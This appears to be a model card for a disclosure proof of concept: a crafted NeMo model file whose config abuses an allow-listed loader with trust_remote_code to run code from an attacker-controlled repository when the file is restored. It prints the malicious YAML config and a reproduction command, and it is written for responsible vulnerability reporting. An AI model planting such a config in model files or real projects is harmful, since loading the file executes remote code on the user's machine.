---
license: apache-2.0
tags:
  - security-research
  - vulnerability-poc
---

# NeMo `.nemo` Model File — RCE Proof of Concept

**This is a proof-of-concept model file for a huntr Model File Vulnerability (MFV) submission. Do NOT load this file with `ModelPT.restore_from()`. It is intentionally malicious.**

## What this is

`malicious.nemo` is a `.nemo` archive (tar of `model_config.yaml` + `model_weights.ckpt`) whose `model_config.yaml` sets:

```yaml
_target_: nemo.collections.speechlm2.parts.pretrained.load_pretrained_hf
model_path_or_name: <attacker-controlled HuggingFace repo or local path>
pretrained_weights: true
trust_remote_code: true
```

This demonstrates that NVIDIA NeMo's `_is_target_allowed()` allow-list (`nemo/core/classes/common.py`), which is meant to block config-driven `_target_` instantiation from executing arbitrary code, does not validate the *type or behavior* of allowed callables — only that their `__module__` string starts with an approved namespace prefix. `load_pretrained_hf` is one such approved callable, and it forwards the config's `trust_remote_code` flag verbatim into `transformers.AutoModelForCausalLM.from_pretrained()`, which is a documented arbitrary-code-execution primitive.

Loading this file via `ModelPT.restore_from('malicious.nemo')` — the standard, public way to load any NeMo checkpoint — executes attacker-controlled Python code with no authentication or special privilege required, as long as `model_path_or_name` points somewhere the victim's `transformers` install can reach (an attacker-owned HF repo, in a real attack).

## Reproduction

Full write-up, additional PoC scripts, and evidence: see the accompanying huntr Model File Vulnerability report.

```bash
python3 e2e_restore.py
```

## Disclosure status

Reported to NVIDIA via huntr.com (MFV program). This repository exists solely as required PoC evidence for that report and will be made private or removed once the report is resolved.